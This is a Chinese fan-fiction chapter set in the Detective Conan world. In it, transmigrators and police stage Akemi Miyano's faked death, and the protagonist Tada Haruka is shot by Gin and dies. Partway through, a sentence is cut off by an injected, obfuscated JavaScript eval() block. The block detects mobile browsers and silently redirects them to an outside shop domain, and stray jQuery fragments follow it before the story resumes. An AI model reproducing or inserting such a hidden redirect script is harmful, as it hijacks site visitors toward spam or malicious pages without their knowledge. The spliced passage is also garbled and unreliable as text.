.
穿越者联盟成立第六天,第一个主线大事件发生了。这是个阳光灿烂的五月天,黄金周过去,工作与日常重启。
「今天上午,四菱银行米花支店发生了一起抢劫案,被抢金额为十亿日元。
——前田」
那是群发邮件,特殊的提示音同时在两人的手机上响起。中午十二点刚过,多田遥吞咽着便利店的梅子饭团,右手握着手机滑动屏幕。
宫野明美啊,一声叹息又好像只是一次呼气轻滞。
多田遥面色平淡,她为今天准备了很久,即便那些全是无用功。20岁的她曾试图成为宫野明美的朋友,但做不到。宫野明美装得很好,好到她根本没想到对方其实将她视作内怀恶意的监视器。
但是宫野明美却在和妹妹的会面里提到这位一直纠缠她的“底层人员”。如果不是恰好有位代号成员看上了她的能力,三年前,多田遥就被行动组拿去当一次性炮灰了。
口腔里嚼碎的米饭已经顺着喉咙滑进入胃部,她拿磨牙碾啃着自己的舌尖,轻微的疼痛令思维更加活泛起来。
有些荒诞,多田遥只是觉得有些好笑。自己是为什么信任了宫野姐妹呢?
组织里纯然善良的人,是活不下去的啊。她的那些穿越者老乡们,不是已经用生命证明了这点吗?
手机震动,新邮件直接在锁屏亮起。作弊的技术人员,他知道多田遥必定会忽略邮件。
「不要去。
——白州」
果然是他。多田遥没有回复,而是向庄司准发送了邮件。
她想,我总要改变点什么,作为降临此世的证明。
18岁的多田遥,帮她的父亲完成了组织的一次招聘任务,在两年后差点杀死自己;20岁的多田遥试图交友,彻底失去了走向未来的可能性;23岁的多田遥想要抢夺“白月光”的位置,送给他人一场活下去的噩梦。
即便是死,我也不要死在野草无人知处,我要盛大的落幕。
牙根传来一阵酸软。多田遥露出恶意的笑容,活下去吧宫野明美,不要逃离这个残酷的世界。
我在期待你在终末的审判。
哪怕她明白,在这样一个国家,有她的妹妹在,宫野明美根本不可能接受审判。多田遥只是需要一个借口而已,一个显得她不那么软弱的借口。
庄司准的回复很快,他已经驱车往宫野明美目前的公寓去了。柯南同样驾驶着自己的滑板在车流里穿行。
他们目的地不同,目的一致。
不过别急。他们听见世界遥远的叹息,你们还有一整天的时间来处理宫野明美。今晚,琴酒会去灭口其他抢劫犯。而宫野,死于第二天午后。
这一次,一切都来得及。
幽蓝的光屏弹出警告,宫野明美之死属于主线,更改主线命运需要付出代价。目前偏移无法保证宫野明美能够在脱离主线后活着,倘若人在主线中出现很可能“意外身亡”。
鲜红的警告在两位穿越者面前毫无尊严,他们知道结局,然后否认了既定的命运。仅此而已。
收敛思绪的多田遥三两口咽下手上午餐,开着不起眼的黑色本田往宫野明美的公寓而去。
他们决定守株待兔。
这很容易做到,庄司准无意将明面上与主角团混在一团的前田牵扯进来。他单独应了多田的约,带着手铐还有空白的证人保护计划协议书。
善良的穿越者们展开了第一次合作救援。
.
门外传来脚步声,沉稳的、冷静的,又略带迟疑的。
宫野明美回来了。
多田和庄司是借用花盆底下钥匙开的门,在两位专业人士的处理下,宫野小姐并未发现任何异常。
谨慎的女人检查了一下花盆位置和底下的钥匙,确认无误后便从包里拿出钥匙。插入门锁,拧动,在咔哒的声响后,推门而入。
现在是下午五点,她刚刚下班,同时向银行递交了辞呈。她和琴酒约定好了在明天下午东京郊仓库见面。
此时,接到上司命令的公安也逐个排查着今天中午的抢劫犯犯人。
他们收到线人消息,对方即将被灭口。然而对于抢劫犯几人本身……
“调出东京内相关犯罪记录人员,对近期出狱人员进行排查。”有条不紊的指令一道道下传,思考片刻,宫田接着补充,“调查那个未受伤的安保人员,如果近期有大额负债,大概率对方也是同伙。”
“是!”
“将案子从搜一转移,”诸伏警部进来补充,“这个案件与我曾卧底失败的那个组织有关……”
被带来旁听的风见闻言站起身,“有关于那个组织的情报,需要和警察厅协调。”
“同时,”风见推了推眼镜,沉声开口,“那边要求必须获得这名线人的身份与情况,并进行评估。”
“关于这点,”诸伏警部温和地开口,“这是我们警视厅公安的协助人,身份与评估都会由警视厅的人进行处理。”他轻叹一声,“毕竟这样的线人身份敏感,最好还是不要被太多人知晓才对的,不是吗。”
风见碰上一个软钉子,索性,他自己也是警视厅公安,对于零组那边要求的信息共享并不是很乐意。甚至对于他们直接把沟通工作甩自己身上也抱有不满。
他只是新入选的联络员,又不是成为了你们零组成员。
“当然,”他点点头,语气里没有任何疑异,“警察厅那边稍后可能派遣人员过来沟通,我仅作为那位的联络人向警视厅公开部分必要信息……”
涉及到潜入搜查官所在组织,流程走得异常快。小会议室里坐着的人不多,目前零组代理组长、警视厅公安几位科长便就是有所涉及的个人。
庄司准今天请了假,于是由他的直属上司代替参会。
代号为乌鸦的组织,诸伏景光皱了皱眉头。五年前,他潜伏的前期一切顺利,却被翻出警方身份,不得不进行撤退。所幸,对方组织似乎只查出来他在警校的照片,并没有暴露真实身份。只是……他仍不明白对方是怎么抓拍到他一人的警校照片,只能是幸运吗?他几乎与幼驯染还有另外三个人形影不离。
琴酒、伏特加,公安没有照片,只有两人的外貌特征文字描述。线人的情报只告知了负责灭口的杀手,以及大概上的时间。
距离日落还有一个小时,宫田与零组开始扯皮起来了。警视厅需要更多详细情报,而零组认为许多情报不可公开。
诸伏警部没有参与扯皮,他是特殊技术支援人才,不负责这部分。当然,这不意味他在其他方面就弱。
他仍感觉违和,当初的失败背后,诸伏隐约感觉到了人为操控。现在,恰时出现的线人,找上了他非常看好的一个后辈。
他感觉到眼前迷雾重重,他会是在别人蛛网上的猎物吗?
时间紧迫,双方踩着对方的底线达成了共识。随即,警视厅的走廊跑出灰西装的人涌入城市,他们还有四个小时。挽救抢劫犯的生命。
.
他们都在挽救抢劫犯的生命。
五年前,多田遥把赤井秀一招进了组织。
她那时还不认识宫野明美,她只是被上司委派去传交文件的。她不知道那份文件是什么,只是在一个晴朗的午后交给了病床上的阿卡伊。
多田遥在要求下让对方当场查看文件,然后邀请对方加入组织。那可是赤老师,这是刚刚碰瓷的时间段吧。
那是一份亲子鉴定书。
宫野明美与诸星大的,鉴定结果,二者为母系兄妹关系。
赤井秀一无法相信这份鉴定,但,如果这是真的……对方会有父亲踪迹的线索吗?至于差点honey trap到自己妹妹身上,抱歉他还不至于对于一个并不熟悉的染黑了的妹妹抱有责任感和亲情。
每一个探员都有这种冷静,他甚至有闲心去打量那位送件的小姑娘。
多田遥下意识露出笑容,习惯性示弱,赤井秀一得到信息。对方也许是个底层人员,但表现并不怯懦,文件没有拆开痕迹说明对方对于规则的遵守很严格。
接着,对方开口了,“你要加入我们吗?”
“加入什么?”赤井秀一反问。
“你看起来就不是个好人,钱多事少敢不敢?”少女眼珠子转来转去完全不敢往男人脸上看,她有些心虚。
虽然她对于自己能够蝴蝶掉一场骨科还是很高兴的,不过,她想,是有新的穿越者吗?她认识的穿越者基本都是二代,而且大家都没有拿到代号。
“好。”冷酷长发男简单凌厉地回答了少女。多田遥甚至有些惊异于对方的配合。
“等我出院之后,怎么联系?”
刚刚成年的少女摸了摸兜,掏出一张她爹的名片,“这是我们组织HR联系方式。”
冷面的赤井没有多言,见他收下名片,多田遥很快溜了。
赤井走进盥洗室,将无名氏送来的亲子鉴定用打火机烧成灰。这是挑衅吗?就连玛丽妈妈没有告诉他的亲属都替他找出来了。摁下冲水键,看见镜子里自己看见猎物般的笑,赤井秀一决定在近期最好能够获得宫野明美的血液再进行一次亲子鉴定。
如果宫野明美真的是他的亲属,他会尽量在撤离时带走她。
“你是谁?放开我!”宫野明美惊恐的低吼炸开在耳边,把多田遥从回忆里拉出来。
庄司准已经制服了宫野,银色的手镯戴在抢劫犯的手腕上非常适配。
男人开始试图与对方谈判,多田遥不准备出去那么早。
她在五年前招进了赤井秀一却活到了今天,是因为一张照片。一张她爹招进来的差点通过考核成为代号成员的警校生照片。
她不知道是谁发给她的,白月光的独家警校照,虽然非常美丽,她却准备第一时间删除。然而在第二天,她爹却提着小蛋糕来奖励她,说她成功为组织抓出一只老鼠。
这件事在三年前赤井秀一叛逃追责,她爹被审讯时,全都告诉了琴酒。
她爹没活下来。
那是个懦弱无能的男人,因为不小心卷进了一场秘密交易,不得不加入组织。然而他的运气实在好,老东家在酒厂背刺吞并后,他竟然还在酒厂上起了班。
他成了组织的招聘人事,主要是招募一批又一批的底层炮灰,他们不知道组织的真面目,只以为自己是普通的社团。
但是如果他能招到能够成为代号成员的人,他在组织的地位也会随之上升。他们这种在底层人员与真正组织成员之间打转的人,是最容易心生不满的。
多田先生很久以前,也只是想活着。
只是太久了,久到他的女儿出生了。他想要给妻儿更好的生活,于是他主动地开始做那些任务。他送着年轻人去死地,送着无路可去的中年人成为工具。
多田先生麻木了。
他不敢教自己的女儿要成为遵纪守法的好人。他只能像诅咒一样告诉自己的孩子一定要活下去。
所以他告诉琴酒,那只老鼠是他的女儿发现的,求琴酒给女儿一条活路。
就在那个时候多田遥发现了系统的新功能:主动申请穿越者监护人。这会导致自己的所有信息暴露在对方手里。
所以她活下来了,把一切交给白州后。白州威士忌,多田遥一直不明白,那个作恶多端的代号成员是怎么做到不被系统判定为恶性穿越者的。
但那些都不重要了。
.
多田遥在一切谈话结束后推开了房门。
庄司准朝她点点头。宫野明美有些震惊地看着熟悉又年长了些许的面孔。
“多田……”她下意识轻声唤出对方的姓氏,“你,你怎么会在这里……”
“我是来帮你的。”
“为什么?”
“宫野明美,相信我。”多田遥半跪在女人面前,“明天,我会陪你一起去。”
“会死。”她眸光闪烁,眼神复杂。
“我是来赴死的。”多田遥笑着,捧起女人的脸,“看着我的眼睛,最后相信我一次。”
不,我不会相信你。宫野明美下意识反驳,她怎么可能会信任一个组织成员。一个已经看破她伪善表面的组织成员。
可她同样无能为力,她的妹妹虽然是代号成员,却并没有多少特权。苦艾酒的打击报复一直存在,BOSS从来默认。她知道这次的交易不可能成真了,庄司准已经告诉她琴酒在灭口的路上,而她是最后一个。
“明天你会穿着防弹衣和血包去那里,”多田遥继续开口,“你会‘死’在琴酒面前,然后按照证人保护计划离开日本。”
“我的妹妹呢?”宫野明美突然急切起来,“你刚刚答应过我的。”她看向庄司准,眼里透露出一丝决绝。
“当然。”他点点头,我们会全力将宫野小姐从组织里解救出来。
德国雨蛙在东京的夜幕里穿行,琴酒的狩猎场已经成型。
宫野明美没有给出承诺,她只是沉默。她必须在这场假死里承担最多风险,哪怕是贝尔摩德,都没办法在琴酒面前完全伪装身份。
但是,她无法相信面前的公安,还有那个曾经试图获得她信任的女孩。她的妹妹是代号成员,意味着价值高,也意味着很可能被困住。她不能出卖自己的妹妹去求活。
她下定了决心。
“你们明天都会去吗?”宫野明美开口了。
“大哥,这里没有人!”来到警卫家前的小巷,他们没有蹲守到目标。琴酒叼着烟,眯起眼睛,有些不耐。
“看来那个蠢货已经暴露了。”琴酒并不意外,那个计划实在粗糙又可笑。宫野明美竟然还想凭借这种东西脱离组织。
“直接去下一个地点。”
“是,大哥。”伏特加驱车往目标家中去。此时此刻,公安已经将那名警卫审讯结束,对方并不知晓另外两人的具体身份。
他们在和时间奔跑。
“只有我会去。”多田遥抢先回答,“宫野明美,只有我。”
宫野小姐沉默了一会,终于应答下来,“好,我签。”她是不会将妹妹送进另一个囚笼的,所以她会搅黄这次合作。
“已核查所有目标,除了那位广田小姐,另一位无法确定身份。”
警视厅公安的灯火通明,忽然,诸伏警部收到一封邮件。
寥寥几字迅速捕获他的目光,“另一个犯人是赛车手贝冢司郎,快,去将人控制保护起来。”
“不,安排警车,直接开过去。”诸伏警部想起今天下午会议上的情报,如果警方直接参与,对方是否会放弃灭口。从庄司传回来的情报中显示,只有那位广田小姐与组织有关,其余两人只是普通抢劫犯……
现在的时间来不及,他们只能赌对方是否遵循那所谓的低调准则了。
“怎么办,大哥?”呼啦啦响着的警车从身边穿过,而距离需要灭口那位的家里距离只有两公里。
红蓝交错的警灯透过车窗映入眼帘,琴酒忽而嗤笑了一声,“走,我们直接去宫野明美的公寓。”
“为什么?”伏特加有些不解。
“那个女人,已经猜到组织要灭口了。”琴酒露出看见有趣猎物的表情,“是她报的警吧,明天她不会赴约了。”
“可是,”伏特加觉得这种事情不太可能发生,毕竟那个女人对自己妹妹的执念组织里都是出了名的,“她妹妹还在组织里啊。”
“她只是终于明白雪莉的价值和她差
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17669833|205524||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
距太大了,”琴酒不吝啬于向伏特加解释,“她本来就要死了,现在攀上那些条子,说不定条子们真的会帮她带走雪莉……”
“什么,她居然打的是这个算盘!”
“不过她倒是算错了一件事,落进那群鬣狗手里,雪莉可不见得会比在组织里好……”
伊达航顺利破开门抓住躺在床上的贝冢,四菱银行的结构草图、运钞车时间表还有逃亡路线计划表,全大喇喇地堆放在房间四处。
正打算进入梦乡的青年完全状况外地被捕了。
「琴酒来了。
——白州」
手机嗡地震动一下,多田遥扫了一眼屏幕,心脏剧烈地开始跳动起来。
不,要来不及了。
“小林,快,把防弹衣和血包给我,你现在立刻离开,等我的简讯!”多田遥的声音一下子急促起来,带着不容置疑。
宫野明美也忽然意识到了什么,“琴酒他们和我约好明天下午去仓库的……”
“别乱动,”多田遥呵斥道,同时再次驱赶庄司,“无论如何,你绝对不能出现在琴酒面前,不然我们三个必死无疑。”
“你为什么不走。”庄司准也意识到了不对。
“我不需要走,”多田遥瞪了一眼磨磨蹭蹭的男人,“我上面有人,琴酒不会杀了我。”
庄司准迟疑了一会,最终还是在多田遥的催促下离开。多田遥在为宫野明美完成防护措施后便解开对方的手铐。
然后二人熄灭灯火,钻进房间里。
静谧的黑暗与等待有些渗人,多田遥突然凑近宫野明美的耳边说了一句,“不要相信琴酒。”
宫野明美来不及反驳,哒哒的脚步声就来到门口,两个人。他们来了。
琴酒从花盆底下拿出钥匙,打开了门,一瞬间,灯亮了。宫野明美手持枪正指着门口。
“我们约定的时间还没到。”宫野明美试图先发制人。
然而琴酒完全不搭理对方的装模作样,“你身后的人是谁?”
“我妹妹呢?”宫野明美仍在坚持。
看来不是老鼠,竟然真是一群蠢货吗。琴酒有些遗憾,这样一来抢劫的钞票几乎是没办法使用了。
这次的任务完全失败了。
琴酒干脆哼笑了一声,“你妹妹在组织里算是少数头脑顶尖的人,她和你可不同,组织现在非常需要她的效劳。”
“所以你们打一开始就在欺骗我!”
“我还以为,你现在已经明白了。”琴酒冷不丁地开枪了,打向女人的肺部。
血袋破裂,宫野明美顺着冲击力向后倒去。“你…你们……”看见女人痛苦的表情,琴酒终于露出一丝愉悦。
“别担心,雪莉不会被你拖累,只要她乖乖听话。”心情还算好的琴酒大人难得做了一次临终关怀。
宫野明美闭上眼睛,气息似乎逐渐微弱,她却突然开了口“我知道…组织的叛徒是谁,放过…我妹妹,只有,这一个条件……”
伏特加走到女人身前,蹲下身,“他是谁?”
“在…门后面……”闻言,琴酒直接踩过宫野明美的手掌,一脚踹开了门。多田遥躺在宫野明美的床上,十分安详地双手交握在自己小腹前。
“是你?”伏特加对多田遥有些印象,毕竟是白州亲自从琴酒手下捞出来的人。
“她是谁?”琴酒认不出对方,他不会去记底层人员与死人。
“就是一个招人的底层人员,不过是白州大哥的手下。”
“底层人员?”琴酒不做思考直接开了一枪,底层人员的叛变没有刑讯拷问的价值。
多田遥疼得差点跳起来,她沉默地抬眸扫了一眼二人组,蠕动着嘴唇最终什么也没说。
庄司准刚刚回到警视厅与上司汇报,而白州,他在三公里之外等待。
鲜红的警告在眼前亮起。
「被监护人处于生命危险中,请宿主及时做出反应。」
他没动,只是等待那辆新宿34-4869的车牌离开。他并没有等待多久,他们开出来了。
后藤清次狂奔在楼梯道,宫野明美住在五楼。刚刚的响动已经引起了部分骚动,但对方使用了消音器,居民无法判断真实情况。
伏特加关了灯,带走了琴酒的烟头。后藤打晕因觉察有人进来试图伏击的宫野明美,走进了卧房的门。
多田遥看起来不太安稳,她疼得直抽气,“你来了啊……”
“我来了。”他用的本音,至少他还是可以用一点真的去面对她。
“替我告诉未来吧,”多田没有去说自己给白州留下了多大的麻烦,也没有继续试探白州的真实身份,她只是突然不甘在未来籍籍无名,“告诉他们,我的故事……”
强撑着的一口气几乎要散了。
“我会的。”白州把她的头抱进怀里,失血过多带来的失温令女人下意识往白州怀里蜷缩。他们的背影在窗外月光的投影里耳鬓厮磨。
固执的遥选定了自己的落幕,她不想坚持了,却又那么草率地停下不走了。像闹脾气的小孩,坐在地上耍赖,“我就不走了!”
怀中人的气息越来越弱,白州为她擦擦脸,又梳理一下汗湿黏连在额头的发丝。
她只是走不下去,不想走了。这不算什么意外的事情,只有夜半的琴酒才是意外。他做不到劝多田活下去,在组织里的日子太过晦暗,她已经很坚强了……
前田真木决定为多田遥写一本书,名字就叫《暗灯长明》。
.
多田遥死了,庄司准收的尸。
公安先生没有对宫野明美的反水行为说什么,而是加强了监管,安排去了国外。他们需要宫野明美在未来牵制宫野志保。
这就是雪莉酒的价值。
第三天,庄司准来找到前田,“你是我们之间隐瞒最多的,我不能信任你。”他叹了口气,嚼碎了薄荷硬糖,剧烈的清苦从舌尖蔓延。
“我知道,”青年没有露出平日温和的笑,而是淡淡的像茫然又像悲伤,“付出信任是危险的。”他没有辩驳,也没有解释,只是平淡地一句婉拒了交换。
他们一起站在无名碑前,手里拿着寺庙卖的念珠。他们不知道多田遥会喜欢什么花,于是买了一大束灿烂的各种各样的花。年轻人可以拥有五彩缤纷,无论生前还是死后。
一直到祭拜结束,他们都没再聊什么,直到山脚下,他们即将分道扬镳。
“祝你活到结局。”
他们尚且不知,在结局之后,这个世界会变成真正的世界还是直接定格或毁灭。
他们只能祝愿对方活下去,活到遥不可见的终点。
“再见了。”前田轻轻朝公安先生挥了挥手。
“再见。”庄司准严肃地向前同伴道了别。
他们都知道这是诀别,他们都知道此后再见已是陌路。
.
活下去,无论如何活下去。
我在唇齿间嚼烂这三个字,一阵一阵的麻痹,汗珠从鼻尖沁出,恶心、酸涩还有发苦的舌苔。
凌晨四点,祭拜结束的十二个小时后。前田终于后知后觉地感受到了一个人的死去。似乎每一个穿越者都是这样的人生。
来者是谁?
土地测量员。
你要去哪里?
去城堡。
你有凭证吗?
我拿出了应聘书,他们说不对。不对呀先生,他们的脸上挂着古怪的笑意,您拿错了呀。在城堡外一直徘徊吧,努力尝试着进去,失败也可以。
事实是他们永远进不去名为幸福的城堡,永远被各种各样的理由被拒之门外。
我们被命运裹挟,被命运抵抗,被宿命淹没。